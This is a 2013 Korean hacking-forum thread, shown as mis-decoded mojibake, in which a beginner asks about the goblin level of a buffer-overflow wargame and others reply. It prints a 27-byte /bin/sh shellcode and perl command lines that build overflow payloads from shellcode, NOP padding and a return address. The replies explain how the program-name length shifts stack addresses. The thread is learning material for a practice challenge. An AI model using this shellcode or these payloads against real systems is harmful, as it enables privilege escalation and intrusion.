½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   garbage0192
   BOF ¿øÁ¤´ë goblin(level 4) Áú¹®ÀÔ´Ï´Ù!

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1661 [º¹»ç]


¾È³çÇϼ¼¿ä. BOF ¿øÁ¤´ë Ç®°í ÀÖ´Â Ãʺ¸ÀÔ´Ï´Ù.
¿À´Ã ÇÏ·çÁ¾ÀÏ ÀÌ ¹®Á¦¿¡ ¸Þ´Þ·È¾ú½À´Ï´Ù.
Ç®±ä Çߴµ¥ ÀÌÇØ°¡ ¾È °¡´Â °ÍÀÌ À־ ¿©Â޾´Ï´Ù.

Á¦°¡ »ç¿ëÇß´ø ½©ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù.
\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80

ÀÌ ½©Äڵ尡 27 ¹ÙÀÌÆ®Â¥¸®¶ó¼­ ´ÙÀ½°ú °°ÀÌ ¹öÆÛ¸¦ ¾º¿ü½À´Ï´Ù.
½©ÄÚµå(27 ¹ÙÀÌÆ®) + NOP(17 ¹ÙÀÌÆ®) + RET(4 ¹ÙÀÌÆ®)
RET´Â bufferÀÇ ÁÖ¼Ò°¡ µÇµµ·Ï Çß°í¿ä. ÀÌ´Â orc.c À» º¹»çÇØ¼­ buffer À§Ä¡¸¦ Ãâ·ÂÇÏ´Â Äڵ带 Ãß°¡Çؼ­ ±¸Çß½À´Ï´Ù.

±×·¡¼­ ´ÙÀ½°ú °°ÀÌ ½ÇÇàÇß´õ´Ï
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`

Segmentation fault °¡ ¶¹½À´Ï´Ù.

ù¹øÂ° Áú¹®Àº ¿©±â¼­ ¿Ö Àú ¿¡·¯°¡ ¶¹´Â°¡ÀÔ´Ï´Ù.

¾Æ±î orc.c À» º¹»çÇÏ°í »õ·Î ÄÄÆÄÀÏÀ» Çß´Ù°í Çߴµ¥ ±× ÆÄÀÏ À̸§ÀÌ orc1 ÀÔ´Ï´Ù.
µÎ¹øÂ° Áú¹®Àº
[goblin@localhost goblin]$ ./orc1 `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`
À» ½ÇÇàÇϸé goblin ±ÇÇÑÀ¸·ÎÁö¸¸ ½©Äڵ尡 ÀÛµ¿Çؼ­ ½©ÀÌ ¶á´Ù´Â °ÍÀÔ´Ï´Ù.
¿Ö orc1¿¡¼­´Â µÇ°í orc¿¡¼­´Â ¾È µÉ±î¿ä?

°¨»çÇÕ´Ï´Ù.

  Hit : 3397     Date : 2013/04/05 12:22



    
garbage0192 ¾Æ ±×¸®°í ¹®Á¦¸¦ ÇØ°áÇÒ ¶§´Â NOP(44 ¹ÙÀÌÆ®) + RET(4 ¹ÙÀÌÆ®) + ½©ÄÚµå(27 ¹ÙÀÌÆ®) ·Î ÇØ¼­ ÇØ°áÇߴµ¥ ÀÌ °æ¿ì´Â ¶Ç ¿Ö µÇ´Â°Ç°¡¿ä?
ÇØ°áÀ» Çߴµ¥µµ ¾Æ´Â °Í ¾øÀÌ ¹®Á¦¸¦ Ç®¾ú³×¿ä..
2013/04/05  
cd80 ÇÁ·Î±×·¥¸íÀÇ ±æÀÌ´Â ¸Þ¸ð¸®»ó ½©ÄÚµåÀÇ À§Ä¡¿¡ ¿µÇâÀ» ¹ÌĨ´Ï´Ù
cp orc orc1 ·Î ÇÏÁö¸¶½Ã°í ln -s orc orc1 ·Î ÇØº¸½ÅÈÄ
¼º°øÇϽŠ./orc1 `perl ~~~~~~ ` À» ´Ù½Ã ÇØº¸½Ã¸é µÇ½Ç°Í °°½À¤¤µð¤¿
2013/04/05  
garbage0192 //cd
°¨»çÇÕ´Ï´Ù. ¸»¾¸ÇϽŴë·Î ÇÏ´Ï±î µÇ³×¿ä.
±Ùµ¥ ¶Ç ±Ã±ÝÇÑ°Ô ÇÁ·Î±×·¥¸í ±æÀÌ´Â ¾î¶»°Ô ½©ÄÚµå À§Ä¡¿¡ ¿µÇâÀ» ¹ÌÄ¡³ª¿ä?
Ȥ½Ã Àо¸¸ÇÑ ¹®¼­¶óµµ ÀÖÀ»±î¿ä?
2013/04/05  
qkrwncks593 bash2 ·Î ½ÇÇàÇϼ̳ª¿ä? 2013/06/01